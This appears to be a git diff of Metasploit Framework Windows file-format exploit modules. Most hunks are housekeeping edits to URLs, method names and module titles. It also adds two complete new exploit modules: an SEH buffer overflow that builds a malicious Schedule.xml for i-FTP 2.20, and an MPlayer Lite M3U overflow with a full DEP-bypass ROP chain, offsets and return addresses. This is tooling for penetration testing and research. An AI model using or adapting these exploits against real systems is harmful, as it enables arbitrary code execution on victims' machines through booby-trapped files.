Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/ezip_wizard_bof.rb b/modules/exploits/windows/fileformat/ezip_wizard_bof.rb index fe6708199e..e13df2b8f0 100644 --- a/modules/exploits/windows/fileformat/ezip_wizard_bof.rb +++ b/modules/exploits/windows/fileformat/ezip_wizard_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -47,6 +47,10 @@ class Metasploit3 < Msf::Exploit::Remote { 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, }, + 'DefaultOptions' => + { + 'AllowWin32SEH' => true + }, 'Targets' => [ ['Windows Universal', { 'Offset' => 58, 'Ret' => 0x10020710 }], diff --git a/modules/exploits/windows/fileformat/fatplayer_wav.rb b/modules/exploits/windows/fileformat/fatplayer_wav.rb index 4761478099..38686df93b 100644 --- a/modules/exploits/windows/fileformat/fatplayer_wav.rb +++ b/modules/exploits/windows/fileformat/fatplayer_wav.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/fdm_torrent.rb b/modules/exploits/windows/fileformat/fdm_torrent.rb index 8d06b2552b..df64e35035 100644 --- a/modules/exploits/windows/fileformat/fdm_torrent.rb +++ b/modules/exploits/windows/fileformat/fdm_torrent.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/feeddemon_opml.rb b/modules/exploits/windows/fileformat/feeddemon_opml.rb index 04f3ace038..fd9a115fca 100644 --- a/modules/exploits/windows/fileformat/feeddemon_opml.rb +++ b/modules/exploits/windows/fileformat/feeddemon_opml.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'FeedDemon <= 3.1.0.12 Stack Buffer Overflow', + 'Name' => 'FeedDemon Stack Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application is used to import a specially crafted opml file, a buffer overflow occurs allowing diff --git a/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb b/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb index d70979d493..f5da05ca0a 100644 --- a/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb +++ b/modules/exploits/windows/fileformat/foxit_reader_filewrite.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/foxit_reader_launch.rb b/modules/exploits/windows/fileformat/foxit_reader_launch.rb index c824a6ef3f..1f9be2a724 100644 --- a/modules/exploits/windows/fileformat/foxit_reader_launch.rb +++ b/modules/exploits/windows/fileformat/foxit_reader_launch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/foxit_title_bof.rb b/modules/exploits/windows/fileformat/foxit_title_bof.rb index 0bd6a11457..166a9cfee8 100644 --- a/modules/exploits/windows/fileformat/foxit_title_bof.rb +++ b/modules/exploits/windows/fileformat/foxit_title_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -122,16 +122,16 @@ class Metasploit3 < Msf::Exploit::Remote end # Override the mixin obfuscator since it doesn't seem to work here. - def nObfu(str) + def n_obfu(str) return str end def trailer(root_obj) ret = 'trailer' - ret << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) - ret << nObfu("/Info ") << ioRef(5) - ret << nObfu("/#{@label} #{@egg}") - ret << nObfu(">>") + ret << n_obfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) + ret << n_obfu("/Info ") << io_ref(5) + ret << n_obfu("/#{@label} #{@egg}") + ret << n_obfu(">>") ret << eol ret end @@ -139,11 +139,11 @@ class Metasploit3 < Msf::Exploit::Remote def make_pdf(sploit) @pdf << header('1.4') - add_object(1, nObfu("<</ViewerPreferences<</DisplayDocTitle true>>/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << nObfu("/Type/Catalog/Lang(en-US)>>")) - add_object(2, nObfu("<</Type/Outlines/Count 0>>")) - add_object(3, nObfu("<</Count 1/Type/Pages/Kids[") << ioRef(4) << nObfu("]>>")) - add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[0 0 612 792]>>")) - add_object(5, nObfu("<>")) + add_object(1, n_obfu("<>/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/Type/Catalog/Lang(en-US)>>")) + add_object(2, n_obfu("<>")) + add_object(3, n_obfu("<>")) + add_object(4, n_obfu("<>")) + add_object(5, n_obfu("<>")) finish_pdf end diff --git a/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb b/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb index 4a76d2b1f3..9be4a7dc85 100644 --- a/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb +++ b/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/galan_fileformat_bof.rb b/modules/exploits/windows/fileformat/galan_fileformat_bof.rb index db4ad53b8e..7e82c08be2 100644 --- a/modules/exploits/windows/fileformat/galan_fileformat_bof.rb +++ b/modules/exploits/windows/fileformat/galan_fileformat_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/gsm_sim.rb b/modules/exploits/windows/fileformat/gsm_sim.rb index b008e9c61d..e2019f38cc 100644 --- a/modules/exploits/windows/fileformat/gsm_sim.rb +++ b/modules/exploits/windows/fileformat/gsm_sim.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/gta_samp.rb b/modules/exploits/windows/fileformat/gta_samp.rb index f6083268af..8fda60248c 100644 --- a/modules/exploits/windows/fileformat/gta_samp.rb +++ b/modules/exploits/windows/fileformat/gta_samp.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb index 15d864f5b3..541f6ac734 100644 --- a/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb +++ b/modules/exploits/windows/fileformat/hhw_hhp_compiledfile_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb index 581504e7ad..b7cb7a9e32 100644 --- a/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb +++ b/modules/exploits/windows/fileformat/hhw_hhp_contentfile_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb b/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb index ccb0a8082f..24ae5f20f2 100644 --- a/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb +++ b/modules/exploits/windows/fileformat/hhw_hhp_indexfile_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb b/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb index 27cd46ed8b..468b74316a 100644 --- a/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb +++ b/modules/exploits/windows/fileformat/ht_mp3player_ht3_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -39,6 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote 'DefaultOptions' => { 'EXITFUNC' => 'process', + 'AllowWin32SEH' => true }, 'Payload' => { diff --git a/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb b/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb index 351a236e85..b4ed4d9963 100644 --- a/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb +++ b/modules/exploits/windows/fileformat/ibm_forms_viewer_fontname.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/ibm_pcm_ws.rb b/modules/exploits/windows/fileformat/ibm_pcm_ws.rb index a1d571cc84..9040c45a16 100644 --- a/modules/exploits/windows/fileformat/ibm_pcm_ws.rb +++ b/modules/exploits/windows/fileformat/ibm_pcm_ws.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/icofx_bof.rb b/modules/exploits/windows/fileformat/icofx_bof.rb index 514341266a..0d4f157193 100644 --- a/modules/exploits/windows/fileformat/icofx_bof.rb +++ b/modules/exploits/windows/fileformat/icofx_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/ideal_migration_ipj.rb b/modules/exploits/windows/fileformat/ideal_migration_ipj.rb index 6c670bb353..6e76f51aff 100644 --- a/modules/exploits/windows/fileformat/ideal_migration_ipj.rb +++ b/modules/exploits/windows/fileformat/ideal_migration_ipj.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb new file mode 100644 index 0000000000..197a28bafe --- /dev/null +++ b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb @@ -0,0 +1,96 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::Seh + include REXML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'i-FTP Schedule Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow vulnerability in + i-Ftp v2.20, caused by a long time value set for scheduled download. + + By persuading the victim to place a specially-crafted Schedule.xml file + in the i-FTP folder, a remote attacker could execute arbitrary code on + the system or cause the application to crash. This module has been + tested successfully on Windows XP SP3. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'metacom', # Vulnerability discovery and PoC + 'Gabor Seljan' # Metasploit module + ], + 'References' => + [ + [ 'EDB', '35177' ], + [ 'OSVDB', '114279' ], + ], + 'DefaultOptions' => + { + 'ExitFunction' => 'process' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d\x20\x22", + 'Space' => 2000 + }, + 'Targets' => + [ + [ 'Windows XP SP3', + { + 'Offset' => 600, + 'Ret' => 0x1001eade # POP ECX # POP ECX # RET [Lgi.dll] + } + ] + ], + 'Privileged' => false, + 'DisclosureDate' => 'Nov 06 2014', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ false, 'The file name.', 'Schedule.xml']) + ], + self.class) + + end + + def exploit + + evil = rand_text_alpha(target['Offset']) + evil << generate_seh_payload(target.ret) + evil << rand_text_alpha(20000) + + xml = Document.new + xml << XMLDecl.new('1.0', 'UTF-8') + xml.add_element('Schedule', {}) + xml.elements[1].add_element( + 'Event', + { + 'Url' => '', + 'Time' => 'EVIL', + 'Folder' => '' + }) + + sploit = '' + xml.write(sploit, 2) + sploit = sploit.gsub(/EVIL/, evil) + + # Create the file + print_status("Creating '#{datastore['FILENAME']}' file ...") + file_create(sploit) + + end +end diff --git a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb index dda5b781db..aebb884c39 100644 --- a/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb +++ b/modules/exploits/windows/fileformat/irfanview_jpeg2000_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,18 +13,19 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Irfanview JPEG2000 <= v4.3.2.0 jp2 Stack Buffer Overflow', + 'Name' => 'Irfanview JPEG2000 jp2 Stack Buffer Overflow', 'Description' => %q{ - This module exploits a stack-based buffer overflow vulnerability in - version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has been - tested on a specific version of irfanview (v4.3.2), although other versions may - work also. The vulnerability is triggered via parsing an invalid qcd chunk - structure and specifying a malformed qcd size and data. + This module exploits a stack-based buffer overflow vulnerability in + version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has + been tested on a specific version of irfanview (v4.3.2), although other + versions may work also. The vulnerability is triggered via parsing an + invalid qcd chunk structure and specifying a malformed qcd size and + data. - Payload delivery and vulnerability trigger can be executed in multiple ways. - The user can double click the file, use the file dialog, open via the icon - and drag/drop the file into Irfanview\'s window. An egg hunter is used for - stability. + Payload delivery and vulnerability trigger can be executed in multiple + ways. The user can double click the file, use the file dialog, open via + the icon and drag/drop the file into Irfanview's window. An egg hunter + is used for stability. }, 'License' => MSF_LICENSE, 'Author' => diff --git a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb index 3d8b3442ae..8ed9744322 100644 --- a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb +++ b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb b/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb index b1e6eefae3..4bc326cf3c 100644 --- a/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb +++ b/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/lattice_pac_bof.rb b/modules/exploits/windows/fileformat/lattice_pac_bof.rb index b82391ae14..c9c1882901 100644 --- a/modules/exploits/windows/fileformat/lattice_pac_bof.rb +++ b/modules/exploits/windows/fileformat/lattice_pac_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/lotusnotes_lzh.rb b/modules/exploits/windows/fileformat/lotusnotes_lzh.rb index 8aa404c07d..2c46655a13 100644 --- a/modules/exploits/windows/fileformat/lotusnotes_lzh.rb +++ b/modules/exploits/windows/fileformat/lotusnotes_lzh.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb b/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb index 882251476b..aaaa68e5e4 100644 --- a/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb +++ b/modules/exploits/windows/fileformat/magix_musikmaker_16_mmm.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb b/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb index 9b0a190f33..a210a5ddad 100644 --- a/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb +++ b/modules/exploits/windows/fileformat/mcafee_hercules_deletesnapshot.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb index b36117d8f4..41af41ef90 100644 --- a/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb +++ b/modules/exploits/windows/fileformat/mcafee_showreport_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/mediacoder_m3u.rb b/modules/exploits/windows/fileformat/mediacoder_m3u.rb index 08aa46e909..9a91b041e3 100644 --- a/modules/exploits/windows/fileformat/mediacoder_m3u.rb +++ b/modules/exploits/windows/fileformat/mediacoder_m3u.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/mediajukebox.rb b/modules/exploits/windows/fileformat/mediajukebox.rb index 1bec057c4d..e6bf891a76 100644 --- a/modules/exploits/windows/fileformat/mediajukebox.rb +++ b/modules/exploits/windows/fileformat/mediajukebox.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/microp_mppl.rb b/modules/exploits/windows/fileformat/microp_mppl.rb index 1f2617ccb8..d2b6298122 100644 --- a/modules/exploits/windows/fileformat/microp_mppl.rb +++ b/modules/exploits/windows/fileformat/microp_mppl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/millenium_mp3_pls.rb b/modules/exploits/windows/fileformat/millenium_mp3_pls.rb index b674094686..aaa749cc1f 100644 --- a/modules/exploits/windows/fileformat/millenium_mp3_pls.rb +++ b/modules/exploits/windows/fileformat/millenium_mp3_pls.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb b/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb index 4339788388..45c708b636 100644 --- a/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb +++ b/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb b/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb index 8c991179e0..06133dcc58 100644 --- a/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb +++ b/modules/exploits/windows/fileformat/mjm_coreplayer2011_s3m.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb b/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb index 284685647b..95dff30b96 100644 --- a/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb +++ b/modules/exploits/windows/fileformat/mjm_quickplayer_s3m.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb b/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb index 57a0800da7..b1d56c8738 100644 --- a/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb +++ b/modules/exploits/windows/fileformat/moxa_mediadbplayback.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb new file mode 100644 index 0000000000..c236b0c90d --- /dev/null +++ b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb @@ -0,0 +1,118 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = AverageRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'MPlayer Lite M3U Buffer Overflow', + 'Description' => %q{ + This module exploits a stack-based buffer overflow vulnerability in + MPlayer Lite r33064, caused by improper bounds checking of an URL entry. + + By persuading the victim to open a specially-crafted .M3U file, specifically by + drag-and-dropping it to the player, a remote attacker can execute arbitrary + code on the system. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'C4SS!0 and h1ch4m', # Vulnerability discovery and original exploit + 'Gabor Seljan', # Metasploit module + ], + 'References' => + [ + [ 'BID', '46926' ], + [ 'EDB', '17013' ], + [ 'URL', 'http://www.mplayer-ww.com/eng/' ] + ], + 'DefaultOptions' => + { + 'ExitFunction' => 'process' + }, + 'Platform' => 'win', + 'Payload' => + { + 'BadChars' => "\x00\x20\x0d\x0a\x1a\x2c\x2e\x26\x2f\x3a\x3e\x3f\x5c", + 'Space' => 5040 + }, + 'Targets' => + [ + [ 'Windows XP SP3 (DEP Bypass) / MPlayer Lite r33064', + { + 'Offset' => 21, + 'Ret' => 0x649a7bbe # ADD ESP,64C # PPPR [avformat-52.dll] + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Mar 19 2011', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']) + ], + self.class) + + end + + def junk + return rand_text_alpha(4).unpack("V").first + end + + def nops + return make_nops(4).unpack("V").first + end + + def exploit + + # ROP chain generated by mona.py - See corelan.be + rop_gadgets = + [ + 0x6ad9d85d, # POP EBP # RETN [avcodec-52.dll] + 0x10018fc3, # &CALL ESP [unrar.dll] + 0x64984a70, # POP EAX # RETN [avformat-52.dll] + 0xffffec4f, # Value to negate, will become 0x00005040 + 0x6b0ce791, # NEG EAX # RETN [avcodec-52.dll] + 0x6b063c7d, # PUSH EAX # POP EBX # POP ESI # POP EDI # RETN [avcodec-52.dll] + junk, + junk, + 0x1001d154, # POP EAX # RETN [unrar.dll] + 0x77e71210, # &VirtualProtect() [IAT RPCRT4.dll] + 0x64987f7f, # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-52.dll] + 0x6afcdc68, # XCHG EAX,ESI # RETN [avcodec-52.dll] + 0x6b02836d, # POP EAX # RETN [avcodec-52.dll] + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x6b0ce791, # NEG EAX # RETN [avcodec-52.dll] + 0x6af79d80, # XCHG EAX,EDX # RETN [avcodec-52.dll] + 0x1001bad6, # POP ECX # RETN [unrar.dll] + 0x649eab48, # &Writable location [avformat-52.dll] + 0x6d7c0bb7, # POP EDI # RETN [swscale-0.dll] + 0x6b03d722, # RETN (ROP NOP) [avcodec-52.dll] + 0x64984a70, # POP EAX # RETN [avformat-52.dll] + nops, + 0x6d7c57d1 # PUSHAD # RETN [swscale-0.dll] + ].flatten.pack('V*') + + sploit = rand_text_alpha_upper(target['Offset']) + sploit << rop_gadgets + sploit << payload.encoded + sploit << generate_seh_record(target.ret) + sploit << rand_text_alpha_upper(1000) # Generate exception + + # Create the file + print_status("Creating '#{datastore['FILENAME']}' file ...") + file_create("http://" + sploit) + + end +end + diff --git a/modules/exploits/windows/fileformat/mplayer_sami_bof.rb b/modules/exploits/windows/fileformat/mplayer_sami_bof.rb index 688ce1bbae..563806e43f 100644 --- a/modules/exploits/windows/fileformat/mplayer_sami_bof.rb +++ b/modules/exploits/windows/fileformat/mplayer_sami_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb index 3c127dd824..01127ad7e2 100644 --- a/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb +++ b/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft Excel Malformed FEATHEADER Record Vulnerability', + 'Name' => 'MS09-067 Microsoft Excel Malformed FEATHEADER Record Vulnerability', 'Description' => %q{ This module exploits a vulnerability in the handling of the FEATHEADER record by Microsoft Excel. Revisions of Office XP and later prior to the release of the @@ -96,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.xls']), - OptString.new('OUTPUTPATH', [ true, 'The output path to use.', Msf::Config.config_directory + "/data/exploits/"]), + OptString.new('OUTPUTPATH', [ true, 'The output path to use.', Msf::Config.local_directory]), ], self.class) end @@ -146,7 +146,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Creating Excel spreadsheet ...") - out = File.expand_path(File.join(datastore['OUTPUTPATH'], datastore['FILENAME'])) + out = File.join(File.join(datastore['OUTPUTPATH'], datastore['FILENAME'])) stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE) if (not stg) fail_with(Failure::Unknown, 'Unable to create output file') diff --git a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb index ccdd086f99..68975bbfdf 100644 --- a/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb +++ b/modules/exploits/windows/fileformat/ms10_004_textbytesatom.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Microsoft PowerPoint Viewer TextBytesAtom Stack Buffer Overflow', + 'Name' => 'MS10-004 Microsoft PowerPoint Viewer TextBytesAtom Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow vulnerability in the handling of the TextBytesAtom records by Microsoft PowerPoint Viewer. According to Microsoft, diff --git a/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb b/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb index 76c2abb052..c38c4f6694 100644 --- a/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb +++ b/modules/exploits/windows/fileformat/ms10_038_excel_obj_bof.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git 